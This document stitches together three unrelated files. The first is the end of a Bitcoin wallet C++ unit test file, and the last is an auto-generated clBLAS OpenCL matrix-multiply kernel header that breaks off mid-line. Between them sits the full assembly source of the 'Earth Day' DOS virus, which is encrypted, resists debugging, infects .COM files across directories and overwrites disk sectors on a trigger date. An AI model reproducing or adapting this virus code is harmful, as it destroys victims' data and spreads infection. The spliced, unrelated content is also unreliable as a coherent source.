GetScriptForRawPubKey(coinbaseKey.GetPubKey())).vtx[0]); coinbaseTxns.emplace_back(*CreateAndProcessBlock({}, GetScriptForRawPubKey(coinbaseKey.GetPubKey())).vtx[0]); // Set key birthday to block time increased by the timestamp window, so // rescan will start at the block time. const int64_t KEY_TIME = BLOCK_TIME + TIMESTAMP_WINDOW; SetMockTime(KEY_TIME); coinbaseTxns.emplace_back(*CreateAndProcessBlock({}, GetScriptForRawPubKey(coinbaseKey.GetPubKey())).vtx[0]); // Import key into wallet and call dumpwallet to create backup file. { CWallet wallet; LOCK(wallet.cs_wallet); wallet.mapKeyMetadata[coinbaseKey.GetPubKey().GetID()].nCreateTime = KEY_TIME; wallet.AddKeyPubKey(coinbaseKey, coinbaseKey.GetPubKey()); JSONRPCRequest request; request.params.setArray(); request.params.push_back((pathTemp / "wallet.backup").string()); vpwallets.insert(vpwallets.begin(), &wallet); ::dumpwallet(request); } // Call importwallet RPC and verify all blocks with timestamps >= BLOCK_TIME // were scanned, and no prior blocks were scanned. { CWallet wallet; JSONRPCRequest request; request.params.setArray(); request.params.push_back((pathTemp / "wallet.backup").string()); vpwallets[0] = &wallet; ::importwallet(request); BOOST_CHECK_EQUAL(wallet.mapWallet.size(), 3); BOOST_CHECK_EQUAL(coinbaseTxns.size(), 103); for (size_t i = 0; i < coinbaseTxns.size(); ++i) { bool found = wallet.GetWalletTx(coinbaseTxns[i].GetHash()); bool expected = i >= 100; BOOST_CHECK_EQUAL(found, expected); } } SetMockTime(0); vpwallets.erase(vpwallets.begin()); } // Check that GetImmatureCredit() returns a newly calculated value instead of // the cached value after a MarkDirty() call. // // This is a regression test written to verify a bugfix for the immature credit // function. Similar tests probably should be written for the other credit and // debit functions. BOOST_FIXTURE_TEST_CASE(coin_mark_dirty_immature_credit, TestChain100Setup) { CWallet wallet; CWalletTx wtx(&wallet, MakeTransactionRef(coinbaseTxns.back())); LOCK2(cs_main, wallet.cs_wallet); wtx.hashBlock = chainActive.Tip()->GetBlockHash(); wtx.nIndex = 0; // Call GetImmatureCredit() once before adding the key to the wallet to // cache the current immature credit amount, which is 0. BOOST_CHECK_EQUAL(wtx.GetImmatureCredit(), 0); // Invalidate the cached value, add the key, and make sure a new immature // credit amount is calculated. wtx.MarkDirty(); wallet.AddKeyPubKey(coinbaseKey, coinbaseKey.GetPubKey()); BOOST_CHECK_EQUAL(wtx.GetImmatureCredit(), 50*COIN); } static int64_t AddTx(CWallet& wallet, uint32_t lockTime, int64_t mockTime, int64_t blockTime) { CMutableTransaction tx; tx.nLockTime = lockTime; SetMockTime(mockTime); CBlockIndex* block = nullptr; if (blockTime > 0) { auto inserted = mapBlockIndex.emplace(GetRandHash(), new CBlockIndex); assert(inserted.second); const uint256& hash = inserted.first->first; block = inserted.first->second; block->nTime = blockTime; block->phashBlock = &hash; } CWalletTx wtx(&wallet, MakeTransactionRef(tx)); if (block) { wtx.SetMerkleBranch(block, 0); } wallet.AddToWallet(wtx); return wallet.mapWallet.at(wtx.GetHash()).nTimeSmart; } // Simple test to verify assignment of CWalletTx::nSmartTime value. Could be // expanded to cover more corner cases of smart time logic. BOOST_AUTO_TEST_CASE(ComputeTimeSmart) { CWallet wallet; // New transaction should use clock time if lower than block time. BOOST_CHECK_EQUAL(AddTx(wallet, 1, 100, 120), 100); // Test that updating existing transaction does not change smart time. BOOST_CHECK_EQUAL(AddTx(wallet, 1, 200, 220), 100); // New transaction should use clock time if there's no block time. BOOST_CHECK_EQUAL(AddTx(wallet, 2, 300, 0), 300); // New transaction should use block time if lower than clock time. BOOST_CHECK_EQUAL(AddTx(wallet, 3, 420, 400), 400); // New transaction should use latest entry time if higher than // min(block time, clock time). BOOST_CHECK_EQUAL(AddTx(wallet, 4, 500, 390), 400); // If there are future entries, new transaction should use time of the // newest entry that is no more than 300 seconds ahead of the clock time. BOOST_CHECK_EQUAL(AddTx(wallet, 5, 50, 600), 300); // Reset mock time for other tests. SetMockTime(0); } BOOST_AUTO_TEST_CASE(LoadReceiveRequests) { CTxDestination dest = CKeyID(); pwalletMain->AddDestData(dest, "misc", "val_misc"); pwalletMain->AddDestData(dest, "rr0", "val_rr0"); pwalletMain->AddDestData(dest, "rr1", "val_rr1"); auto values = pwalletMain->GetDestValues("rr"); BOOST_CHECK_EQUAL(values.size(), 2); BOOST_CHECK_EQUAL(values[0], "val_rr0"); BOOST_CHECK_EQUAL(values[1], "val_rr1"); } class ListCoinsTestingSetup : public TestChain100Setup { public: ListCoinsTestingSetup() { CreateAndProcessBlock({}, GetScriptForRawPubKey(coinbaseKey.GetPubKey())); ::bitdb.MakeMock(); wallet.reset(new CWallet(std::unique_ptr<CWalletDBWrapper>(new CWalletDBWrapper(&bitdb, "wallet_test.dat")))); bool firstRun; wallet->LoadWallet(firstRun); AddKey(*wallet, coinbaseKey); wallet->ScanForWalletTransactions(chainActive.Genesis()); } ~ListCoinsTestingSetup() { wallet.reset(); ::bitdb.Flush(true); ::bitdb.Reset(); } CWalletTx& AddTx(CRecipient recipient) { CWalletTx wtx; CReserveKey reservekey(wallet.get()); CAmount fee; int changePos = -1; std::string error; CCoinControl dummy; BOOST_CHECK(wallet->CreateTransaction({recipient}, wtx, reservekey, fee, changePos, error, dummy)); CValidationState state; BOOST_CHECK(wallet->CommitTransaction(wtx, reservekey, nullptr, state)); auto it = wallet->mapWallet.find(wtx.GetHash()); BOOST_CHECK(it != wallet->mapWallet.end()); CreateAndProcessBlock({CMutableTransaction(*it->second.tx)}, GetScriptForRawPubKey(coinbaseKey.GetPubKey())); it->second.SetMerkleBranch(chainActive.Tip(), 1); return it->second; } std::unique_ptr<CWallet> wallet; }; BOOST_FIXTURE_TEST_CASE(ListCoins, ListCoinsTestingSetup) { std::string coinbaseAddress = coinbaseKey.GetPubKey().GetID().ToString(); LOCK2(cs_main, wallet->cs_wallet); // Confirm ListCoins initially returns 1 coin grouped under coinbaseKey // address. auto list = wallet->ListCoins(); BOOST_CHECK_EQUAL(list.size(), 1); BOOST_CHECK_EQUAL(boost::get<CKeyID>(list.begin()->first).ToString(), coinbaseAddress); BOOST_CHECK_EQUAL(list.begin()->second.size(), 1); // Check initial balance from one mature coinbase transaction. BOOST_CHECK_EQUAL(50 * COIN, wallet->GetAvailableBalance()); // Add a transaction creating a change address, and confirm ListCoins still // returns the coin associated with the change address underneath the // coinbaseKey pubkey, even though the change address has a different // pubkey. AddTx(CRecipient{GetScriptForRawPubKey({}), 1 * COIN, false /* subtract fee */}); list = wallet->ListCoins(); BOOST_CHECK_EQUAL(list.size(), 1); BOOST_CHECK_EQUAL(boost::get<CKeyID>(list.begin()->first).ToString(), coinbaseAddress); BOOST_CHECK_EQUAL(list.begin()->second.size(), 2); // Lock both coins. Confirm number of available coins drops to 0. std::vector<COutput> available; wallet->AvailableCoins(available); BOOST_CHECK_EQUAL(available.size(), 2); for (const auto& group : list) { for (const auto& coin : group.second) { wallet->LockCoin(COutPoint(coin.tx->GetHash(), coin.i)); } } wallet->AvailableCoins(available); BOOST_CHECK_EQUAL(available.size(), 0); // Confirm ListCoins still returns same result as before, despite coins // being locked. list = wallet->ListCoins(); BOOST_CHECK_EQUAL(list.size(), 1); BOOST_CHECK_EQUAL(boost::get<CKeyID>(list.begin()->first).ToString(), coinbaseAddress); BOOST_CHECK_EQUAL(list.begin()->second.size(), 2); } BOOST_AUTO_TEST_SUITE_END()
; EARTHDAY.ASM -- Earth Day Virus ; Created with Nowhere Man's Virus Creation Laboratory v1.00 ; Written by Nowhere Man virus_type equ 0 ; Appending Virus is_encrypted equ 1 ; We're encrypted tsr_virus equ 0 ; We're not TSR code segment byte public assume cs:code,ds:code,es:code,ss:code org 0100h main proc near db 0E9h,00h,00h ; Near jump (for compatibility) start: call find_offset ; Like a PUSH IP find_offset: pop bp ; BP holds old IP sub bp,offset find_offset ; Adjust for length of host call encrypt_decrypt ; Decrypt the virus start_of_code label near lea si,[bp + buffer] ; SI points to original start mov di,0100h ; Push 0100h on to stack for push di ; return to main program movsw ; Copy the first two bytes movsb ; Copy the third byte mov di,bp ; DI points to start of virus mov bp,sp ; BP points to stack sub sp,128 ; Allocate 128 bytes on stack mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address on stack mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer on stack int 021h stop_tracing: mov cx,09EBh mov ax,0FE05h ; Acutal move, plus a HaLT jmp $-2 add ah,03Bh ; AH now equals 025h jmp $-10 ; Execute the HaLT lea bx,[di + null_vector] ; BX points to new routine push cs ; Transfer CS into ES pop es ; using a PUSH/POP int 021h mov al,1 ; Disable interrupt 1, too int 021h jmp short skip_null ; Hop over the loop null_vector: jmp $ ; An infinite loop skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged lock_keys: mov al,128 ; Change here screws DEBUG out 021h,al ; If tracing then lock keyboard call get_month cmp ax,0004h ; Did the function return 4? jne skip00 ; If not equal, skip effect call get_day cmp ax,0016h ; Did the function return 22? jne skip00 ; If not equal, skip effect call get_year cmp ax,07C9h ; Did the function return 1993? jle skip00 ; If less that or equal, skip effect cmp ax,07CCh ; Did the function return 1996? jge skip00 ; If greater than or equal, skip effect jmp short strt00 ; Success -- skip jump skip00: jmp end00 ; Skip the routine strt00: lea si,[di + data00] ; SI points to data mov ah,0Eh ; BIOS display char. function display_loop: lodsb ; Load the next char. into AL or al,al ; Is the character a null? je disp_strnend ; If it is, exit int 010h ; BIOS video interrupt jmp short display_loop ; Do the next character disp_strnend: mov ax,0002h ; First argument is 2 mov cx,0100h ; Second argument is 256 cli ; Disable interrupts (no Ctrl-C) cwd ; Clear DX (start with sector 0) int 026h ; DOS absolute write interrupt sti ; Restore interrupts end00: xor ah,ah ; BIOS get time function int 01Ah xchg dx,ax ; AX holds clock ticks mov cx,0005h ; We'll divide by 5 cwd ; Sign-extend AX into DX:AX div cx ; Divide AX by CX or dx,dx ; Is there a remaindier? jne no_infection ; If there is then don't spread call search_files ; Find and infect a file no_infection: com_end: pop dx ; DX holds original DTA address mov ah,01Ah ; DOS set DTA function int 021h mov sp,bp ; Deallocate local buffer xor ax,ax ; mov bx,ax ; mov cx,ax ; mov dx,ax ; Empty out the registers mov si,ax ; mov di,ax ; mov bp,ax ; ret ; Return to original program main endp db 009h,0C0h,0EEh,0D9h,0ECh search_files proc near push bp ; Save BP mov bp,sp ; BP points to local buffer sub sp,64 ; Allocate 64 bytes on stack mov ah,047h ; DOS get current dir function xor dl,dl ; DL holds drive # (current) lea si,[bp - 64] ; SI points to 64-byte buffer int 021h mov ah,03Bh ; DOS change directory function lea dx,[di + root] ; DX points to root directory int 021h call traverse ; Start the traversal mov ah,03Bh ; DOS change directory function lea dx,[bp - 64] ; DX points to old directory int 021h mov sp,bp ; Restore old stack pointer pop bp ; Restore BP ret ; Return to caller root db "\",0 ; Root directory search_files endp traverse proc near push bp ; Save BP mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address mov bp,sp ; BP points to local buffer sub sp,128 ; Allocate 128 bytes on stack mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer int 021h mov ah,04Eh ; DOS find first function mov cx,00010000b ; CX holds search attributes lea dx,[di + all_files] ; DX points to "*.*" int 021h jc leave_traverse ; Leave if no files present check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? jne another_dir ; If not, try again cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? je another_dir ;If so, keep going mov ah,03Bh ; DOS change directory function lea dx,[bp - 98] ; DX points to new directory int 021h call traverse ; Recursively call ourself pushf ; Save the flags mov ah,03Bh ; DOS change directory function lea dx,[di + up_dir] ; DX points to parent directory int 021h popf ; Restore the flags jnc done_searching ; If we infected then exit another_dir: mov ah,04Fh ; DOS find next function int 021h jnc check_dir ; If found check the file leave_traverse: lea dx,[di + com_mask] ; DX points to "*.COM" call find_files ; Try to infect a file done_searching: mov sp,bp ; Restore old stack frame mov ah,01Ah ; DOS set DTA function pop dx ; Retrieve old DTA address int 021h pop bp ; Restore BP ret ; Return to caller up_dir db "..",0 ; Parent directory name all_files db "*.*",0 ; Directories to search for com_mask db "*.COM",0 ; Mask for all .COM files traverse endp db 0E0h,049h,06Ch,01Bh,06Ch find_files proc near push bp ; Save BP mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address mov bp,sp ; BP points to local buffer sub sp,128 ; Allocate 128 bytes on stack push dx ; Save file mask mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer int 021h mov ah,04Eh ; DOS find first file function mov cx,00100111b ; CX holds all file attributes pop dx ; Restore file mask find_a_file: int 021h jc done_finding ; Exit if no files found call infect_file ; Infect the file! jnc done_finding ; Exit if no error mov ah,04Fh ; DOS find next file function jmp short find_a_file ; Try finding another file done_finding: mov sp,bp ; Restore old stack frame mov ah,01Ah ; DOS set DTA function pop dx ; Retrieve old DTA address int 021h pop bp ; Restore BP ret ; Return to caller find_files endp db 00Ah,073h,01Fh,038h,054h infect_file proc near mov ah,02Fh ; DOS get DTA address function int 021h mov si,bx ; SI points to the DTA mov byte ptr [di + set_carry],0 ; Assume we'll fail cmp word ptr [si + 01Ah],(65279 - (finish - start)) jbe size_ok ; If it's small enough continue jmp infection_done ; Otherwise exit size_ok: mov ax,03D00h ; DOS open file function, r/o lea dx,[si + 01Eh] ; DX points to file name int 021h xchg bx,ax ; BX holds file handle mov ah,03Fh ; DOS read from file function mov cx,3 ; CX holds bytes to read (3) lea dx,[di + buffer] ; DX points to buffer int 021h mov ax,04202h ; DOS file seek function, EOF cwd ; Zero DX _ Zero bytes from end mov cx,dx ; Zero CX / int 021h xchg dx,ax ; Faster than a PUSH AX mov ah,03Eh ; DOS close file function int 021h xchg dx,ax ; Faster than a POP AX sub ax,finish - start + 3 ; Adjust AX for a valid jump cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? je infection_done ; If equal then exit mov byte ptr [di + set_carry],1 ; Success -- the file is OK add ax,finish - start ; Re-adjust to make the jump mov word ptr [di + new_jump + 1],ax ; Construct jump mov ax,04301h ; DOS set file attrib. function xor cx,cx ; Clear all attributes lea dx,[si + 01Eh] ; DX points to victim's name int 021h mov ax,03D02h ; DOS open file function, r/w int 021h xchg bx,ax ; BX holds file handle mov ah,040h ; DOS write to file function mov cx,3 ; CX holds bytes to write (3) lea dx,[di + new_jump] ; DX points to the jump we made int 021h mov ax,04202h ; DOS file seek function, EOF cwd ; Zero DX _ Zero bytes from end mov cx,dx ; Zero CX / int 021h push si ; Save SI through call call encrypt_code ; Write an encrypted copy pop si ; Restore SI mov ax,05701h ; DOS set file time function mov cx,[si + 016h] ; CX holds old file time mov dx,[si + 018h] ; DX holds old file date int 021h mov ah,03Eh ; DOS close file function int 021h mov ax,04301h ; DOS set file attrib. function xor ch,ch ; Clear CH for file attribute mov cl,[si + 015h] ; CX holds file's old attributes lea dx,[si + 01Eh] ; DX points to victim's name int 021h infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed ret ; Return to caller set_carry db ? ; Set-carry-on-exit flag buffer db 090h,0CDh,020h ; Buffer to hold old three bytes new_jump db 0E9h,?,? ; New jump to virus infect_file endp db 0D9h,095h,0B5h,0D7h,0D0h get_day proc near mov ah,02Ah ; DOS get date function int 021h mov al,dl ; Copy day into AL cbw ; Sign-extend AL into AX ret ; Return to caller get_day endp db 0F6h,028h,099h,0E1h,06Dh get_month proc near mov ah,02Ah ; DOS get date function int 021h mov al,dh ; Copy month into AL cbw ; Sign-extend AL into AX ret ; Return to caller get_month endp db 071h,021h,0B4h,033h,071h get_year proc near mov ah,02Ah ; DOS get date function int 021h xchg cx,ax ; Transfer the year into AX ret ; Return to caller get_year endp data00 db "Happy Earth Day!!!",13,10,13,10 db "In the spirit of Earth Day, db "this VIRUS has recycled your hard disk.",13,10,0 vcl_marker db "[VCL]",0 ; VCL creation marker note db "[Earth Day]",0 db "Nowhere Man, [NuKE] '92",0 encrypt_code proc near push bp ; Save BP mov bp,di ; Use BP as pointer to code lea si,[bp + encrypt_decrypt]; SI points to cipher routine xor ah,ah ; BIOS get time function int 01Ah mov word ptr [si + 9],dx ; Low word of timer is new key xor byte ptr [si + 1],8 ; xor byte ptr [si + 8],1 ; Change all SIs to DIs xor word ptr [si + 11],0101h; (and vice-versa) lea di,[bp + finish] ; Copy routine into heap mov cx,finish - encrypt_decrypt - 1 ; All but final RET push si ; Save SI for later push cx ; Save CX for later rep movsb ; Copy the bytes lea si,[bp + write_stuff] ; SI points to write stuff mov cx,5 ; CX holds length of write rep movsb ; Copy the bytes pop cx ; Restore CX pop si ; Restore SI inc cx ; Copy the RET also this time rep movsb ; Copy the routine again mov ah,040h ; DOS write to file function lea dx,[bp + start] ; DX points to virus lea si,[bp + finish] ; SI points to routine call si ; Encrypt/write/decrypt mov di,bp ; DI points to virus again pop bp ; Restore BP ret ; Return to caller write_stuff: mov cx,finish - start ; Length of code int 021h encrypt_code endp end_of_code label near encrypt_decrypt proc near lea si,[bp + start_of_code] ; SI points to code to decrypt mov cx,(end_of_code - start_of_code) / 2 ; CX holds length xor_loop: db 081h,034h,00h,00h ; XOR a word by the key inc si ; Do the next word inc si ; loop xor_loop ; Loop until we're through ret ; Return to caller encrypt_decrypt endp finish label near code ends end main
/******************************************************************************* * This file was auto-generated using the AutoGemm.py python script. * DO NOT modify this file! Instead, make changes to scripts in * clBLAS/src/library/blas/AutoGemm/ then re-generate files * (otherwise local changes will be lost after re-generation). ******************************************************************************/ #ifndef KERNEL_CGEMM_COL_TN_B0_MX064_NL064_KX08_SRC_H #define KERNEL_CGEMM_COL_TN_B0_MX064_NL064_KX08_SRC_H const unsigned int cgemm_Col_TN_B0_MX064_NL064_KX08_workGroupNumRows = 16; const unsigned int cgemm_Col_TN_B0_MX064_NL064_KX08_workGroupNumCols = 16; const unsigned int cgemm_Col_TN_B0_MX064_NL064_KX08_microTileNumRows = 4; const unsigned int cgemm_Col_TN_B0_MX064_NL064_KX08_microTileNumCols = 4; const unsigned int cgemm_Col_TN_B0_MX064_NL064_KX08_unroll = 8; const char * const cgemm_Col_TN_B0_MX064_NL064_KX08_src ="\n" "/* cgemm_Col_TN_B0_MX064_NL064_KX08 */\n" "\n" "/* kernel parameters */\n" "#define WG_NUM_ROWS 16\n" "#define WG_NUM_COLS 16\n" "#define MICRO_TILE_NUM_ROWS 4\n" "#define MICRO_TILE_NUM_COLS 4\n" "#define MACRO_TILE_NUM_ROWS 64\n" "#define MACRO_TILE_NUM_COLS 64\n" "#define NUM_UNROLL_ITER 8\n" "\n" "#define LOCAL_ROW_PAD 0\n" "#define LOCAL_COL_PAD 0\n" "\n" "/* global memory indices */\n" "#define GET_GLOBAL_INDEX_A(ROW,COL) ((ROW)*lda+(COL))\n" "#define GET_GLOBAL_INDEX_B(ROW,COL) ((COL)*ldb+(ROW))\n" "#define GET_GLOBAL_INDEX_C(ROW,COL) ((COL)*ldc+(ROW))\n" "\n" "/* local memory indices */\n" "#define GET_LOCAL_INDEX_A(ROW,COL) ((ROW) + (COL)*((MACRO_TILE_NUM_ROWS)+(LOCAL_COL_PAD)) )\n" "#define GET_LOCAL_INDEX_B(ROW,COL) ((COL) + (ROW)*((MACRO_TILE_NUM_COLS)+(LOCAL_ROW_PAD)) )\n" "\n" "/* data types */\n" "#define DATA_TYPE_STR float2\n" "#define TYPE_MAD(MULA,MULB,DST) \\\n" " DST.s0 = mad( MULA.s0, MULB.s0, DST.s0 ); \\\n" " DST.s0 = mad( -MULA.s1, MULB.s1, DST.s0 ); \\\n" " DST.s1 = mad( MULA.s0, MULB.s1, DST.s1 ); \\\n" " DST.s1 = mad( MULA.s1, MULB.s0, DST.s1 );\n" "#define TYPE_MAD_WRITE( DST, ALPHA, REG, BETA ) \\\n" " /* (1) */ \\\n" " type_mad_tmp = REG.s0; \\\n" " REG.s0 *= ALPHA.s0; \\\n" " REG.s0 = mad( -ALPHA.s1, REG.s1, REG.s0 ); \\\n" " REG.s1 *= ALPHA.s0; \\\n" " REG.s1 = mad( ALPHA.s1, type_mad_tmp, REG.s1 ); \\\n" " DST = REG;\n" "\n" "/* 4x4 micro-tile */\n" "#define MICRO_TILE \\\n" " rA[0] = localA[offA + 0*WG_NUM_ROWS]; \\\n" " rA[1] = localA[offA + 1*WG_NUM_ROWS]; \\\n" " rA[2] = localA[offA + 2*WG_NUM_ROWS]; \\\n" " rA[3] = localA[offA + 3*WG_NUM_ROWS]; \\\n" " rB[0] = localB[offB + 0*WG_NUM_COLS]; \\\n" " rB[1] = localB[offB + 1*WG_NUM_COLS]; \\\n" " rB[2] = localB[offB + 2*WG_NUM_COLS]; \\\n" " rB[3] = localB[offB + 3*WG_NUM_COLS]; \\\n" " offA += (MACRO_TILE_NUM_ROWS+LOCAL_COL_PAD); \\\n" " offB += (MACRO_TILE_NUM_COLS+LOCAL_ROW_PAD); \\\n" " TYPE_MAD(rA[0],rB[0],rC[0][0]); \\\n" " TYPE_MAD(rA[0],rB[1],rC[0][1]); \\\n" " TYPE_MAD(rA[0],rB[2],rC[0][2]); \\\n" " TYPE_MAD(rA[0],rB[3],rC[0][3]); \\\n" " TYPE_MAD(rA[1],rB[0],rC[1][0]); \\\n" " TYPE_MAD(rA[1],rB[1],rC[1][1]); \\\n" " TYPE_MAD(rA[1],rB[2],rC[1][2]); \\\n" " TYPE_MAD(rA[1],rB[3],rC[1][3]); \\\n" " TYPE_MAD(rA[2],rB[0],rC[2][0]); \\\n" " TYPE_MAD(rA[2],rB[1],rC[2][1]); \\\n" " TYPE_MAD(rA[2],rB[2],rC[2][2]); \\\n" " TYPE_MAD(rA[2],rB[3],rC[2][3]); \\\n" " TYPE_MAD(rA[3],rB[0],rC[3][0]); \\\n" " TYPE_MAD(rA[3],rB[1],rC[3][1]); \\\n" " TYPE_MAD(rA[3],rB[2],rC[3][2]); \\\n" " TYPE_MAD(rA[3],rB[3],rC[3][3]); \\\n" " mem_fence(CLK_LOCAL_MEM_FENCE);\n" "\n" "__attribute__((reqd_work_group_size(WG_NUM_COLS,WG_NUM_ROWS,1)))\n" "__kernel void cgemm_Col_TN_B0_MX064_NL064_KX08(\n" " __global DATA_TYPE_STR const * restrict A,\n" " __global DATA_TYPE_STR const * restrict B,\n" " __global DATA_TYPE_STR * C,\n" " DATA_TYPE_STR const alpha,\n" " DATA_TYPE_STR const beta,\n" " uint const M,\n" " uint const N,\n" " uint const K,\n" " uint const lda,\n" " uint const ldb,\n" " uint const ldc,\n" " uint const offsetA,\n" " uint const offsetB,\n" " uint const offsetC\n" ") {\n" "\n" " /* apply offsets */\n" " A += offsetA;\n" " B += offsetB;\n" " C += offsetC;\n" "\n" " /* allocate registers */\n" " DATA_TYPE_STR rC[MICRO_TILE_NUM_ROWS][MICRO_TILE_NUM_COLS] = { {0} };\n" " DATA_TYPE_STR rA[MICRO_TILE_NUM_ROWS];\n" " DATA_TYPE_STR rB[MICRO_TILE_NUM_COLS];\n" "\n" " /* allocate local memory */\n" " __local DATA_TYPE_STR localA[NUM_UNROLL_ITER*(MACRO_TILE_NUM_ROWS+LOCAL_COL_PAD)];\n" " __local DATA_TYPE_STR localB[NUM_UNROLL_ITER*(MACRO_TILE_NUM_COLS+LOCAL_ROW_PAD)];\n" "\n" " /* work item indices */\n" " uint groupRow = get_group_id(0);\n" " uint groupCol = N / 64; // last column\n" " uint localRow = get_local_id(0);\n" " uint localCol = get_local_id(1);\n" " uint localSerial = localRow + localCol*WG_NUM_ROWS;\n" "\n" " /* global indices being loaded */\n" "#define globalARow(LID) (groupRow*MACRO_TILE_NUM_ROWS + (localSerial+(LID)*WG_NUM_ROWS*WG_NUM_COLS)/NUM_UNROLL_ITER)\n" "#define globalACol(LID) ((localSerial+(LID)*WG_NUM_ROWS*WG_NUM_COLS)%NUM_UNROLL_ITER)\n" "#define globalBRow(LID) ((localSerial+(LID)*WG_NUM_ROWS*WG_NUM_COLS)%NUM_UNROLL_ITER)\n" "#define globalBCol(LID) (groupCol*MACRO_TILE_NUM_COLS + (localSerial+(LID)*WG_NUM_ROWS*WG_NUM_COLS)/NUM_UNROLL_ITER)\n" "\n" " /* loop over k */\n" " uint block_k = K / NUM_UNROLL_ITER;\n" " do {\n" "\n" " /* local indices being written */\n" "#define localARow (localSerial / NUM_UNROLL_ITER)\n" "#define localACol (localSerial % NUM_UNROLL_ITER)\n" "#define localAStride (WG_NUM_ROWS*WG_NUM_COLS/NUM_UNROLL_ITER)\n" "#define localBRow ( localSerial % NUM_UNROLL_ITER )\n" "#define localBCol ( localSerial / NUM_UNROLL_ITER )\n" "#define localBStride (WG_NUM_ROWS*WG_NUM_COLS/NUM_UNROLL_ITER)\n" " __local DATA_TYPE_STR *lA = localA + GET_LOCAL_INDEX_A(localARow, localACol);\n" " __local DATA_TYPE_STR *lB = localB + GET_LOCAL_INDEX_B(localBRow, localBCol);\n" " barrier(CLK_LOCAL_MEM_FENCE);\n" "\n" " /* load global -> local */\n" " lA[ 0*localAStride ] = A[ GET_GLOBAL_INDEX_A( globalARow(0), globalACol(0) ) ];\n" " lA[ 1*localAStride ] = A[ GET_GLOBAL_INDEX_A( globalARow(1), globalACol(1) ) ];\n" " lB[ 0*localBStride ] = ( globalBCol(0) >= N) ? (float2)(0.f, 0.f) : B[ GET_GLOBAL_INDEX_B( globalBRow(0), globalBCol(0) ) ];\n" " lB[ 1*localBStride ] = ( globalBCol(1) >= N) ? (float2)(0.f, 0.f) : B[ GET_GLOBAL_INDEX_B( globalBRow(1), globalBCol(1) ) ];\n" " barrier(CLK_LOCAL_MEM_FENCE);\n" " uint offA = localRow;\n" " uint offB = localCol;\n" "\n" " /* do mads */\n" " MICRO_TILE\n" " MICRO_TILE\n" " MICRO_TILE\n" " MICRO_TILE\n" " MICRO_TILE\n" " MICRO_TILE\n" " MICRO_TILE\n" " MICRO_TILE\n" "\n" " /* shift to next k block */\n" " A += NUM_UNROLL_ITER;\n" " B += NUM_UNROLL_ITER;\n" "\n" " } while (--block_k > 0);\n" "\n" "\n" " /* which global Cij index */\n" " uint globalCRow = groupRow * MACRO_TILE_NUM_ROWS + localRow;\n" " uint globalCCol = groupCol * MACRO_TILE_NUM_COLS + localCol;\n" "\n" " /* write global Cij */\n" " float type_mad_tmp;\n" " if (globalCCol+0*WG_NUM_COLS < N){ TYPE_MAD_WRITE( C[ GET_GLOBAL_INDEX_C( globalCRow+0*WG_NUM_ROWS, globalCCol+0*WG_NUM_COLS) ], alpha, rC[0][0], beta )}\n" " if (globalCCol+1*WG_NUM_COLS < N){ TYPE_MAD_WRITE( C[ GET_GLOBAL_INDEX_C( globalCRow+0*WG_NUM_ROWS, globalCCol+1*WG_NUM_COLS) ], alpha, rC[0][1], beta )}\n" " if (globalCCol+2*WG_NUM_COLS < N){ TYPE_MAD_WRITE( C[ GET_GLOBAL_INDEX_C( globalCRow+0*WG_NUM_ROWS, globalCCol+2*WG_NUM_COLS) ], alpha, rC[0][2], beta )}\n" " if (globalCCol+3*WG_NUM_COLS < N){ TYPE_MAD_WRITE( C[ GET_GLOBAL_INDEX_C( globalCRow+0*WG_NUM_ROWS, globalCCol+3*WG_NUM_COLS) ], alpha, rC[0][3], beta )}\n" " if (globalCCol+0*WG_NUM_COLS < N){ TYPE_MAD_WRITE( C[ GET_GLOBAL_INDEX_C( globalCRow+1*WG_NUM_ROWS, globalCCol+0*WG_NUM_COLS) ], alpha, rC[1][0], beta )}\n" " if (globalCCol+1*WG_NUM_COLS < N){ TYPE_MAD_WRITE( C[ GET_GLOBAL_INDEX_C( globalCRow+1*WG_NUM_ROWS, globalCCol+1*WG_NUM_COLS) ], alpha, rC[1][1], beta )}\n" " if (globalCCol+2*WG_NUM_COLS < N){ TYPE_MAD_WRITE( C[ GET_GLOBAL_INDEX_C( globalCRow+1*WG_NUM_ROWS, globalCCol+2*WG_NUM_COLS) ], alpha, rC[1][2], beta )}\n" " if (globalCCol+3*WG_NUM_COLS < N){ TYPE_MAD_WRITE( C[ GET_GLOBAL_INDEX_C( globalCRow+1*WG_NUM_ROWS, globalCCol+3*WG_NUM_COLS) ], alpha, rC[1][3], beta )}\n" " if (globalCCol+0*WG_NUM_COLS < N){ TYPE_MAD_WRITE( C[ GET_GLOBAL_INDEX_C( globalCRow+2*WG_NUM_ROWS, globalCCol+0*WG_NUM_COLS) ], alpha, rC[2][0], beta )}\n" " if (globalCCol+1*WG_NUM_COLS < N){ TYPE_MAD_WRITE( C[ GET_GLOBAL_INDEX_C( globalCRow+2*WG_NUM_ROWS, globalCCol+1*WG_NUM_COLS) ], alpha, rC[2][1], beta )}\n" " if (globalCCol+2*WG_NUM_COLS < N){ TYPE_MAD_WRITE( C[ GET_GLOBAL_INDEX_C( globalCRow+2*WG_NUM_ROWS, globalCCol+2*WG_NUM_COLS) ], alpha, rC[2][2], beta )}\n" " if (globalCCol+3*WG_NUM_COLS < N){ TYPE_MAD_WRITE( C[ GET_GLOBAL_INDEX_C( globalCRow+2*WG_NUM_ROWS, globalCCol+3*WG_NUM_COLS) ], alpha, rC[2][3], beta )}\n" " if (globalCCol+0*WG_NUM_COLS < N){ TYPE_MAD_WRITE( C[ GET_GLOBAL_INDEX_C( globalCRow+3*WG_NUM_ROWS, globalCCol+0*WG_NUM_COLS) ], alpha, rC[3][0], beta )}\n" " if (globalCCol+1*WG_NUM_COLS < N){ TYPE_MAD_WRITE( C[ GET_GLOBAL_INDEX_C( globalCRow+3*WG_NUM_ROWS, globalCCol+1*WG_NUM_COLS) ], alpha, rC[3][1], beta )}\n" " if (globalCCol+2*WG_NUM_COLS < N){ TYPE_MAD_WRITE( C[ GET_GLOBAL_INDEX_C( globalCRow+3*WG_NUM_ROWS, 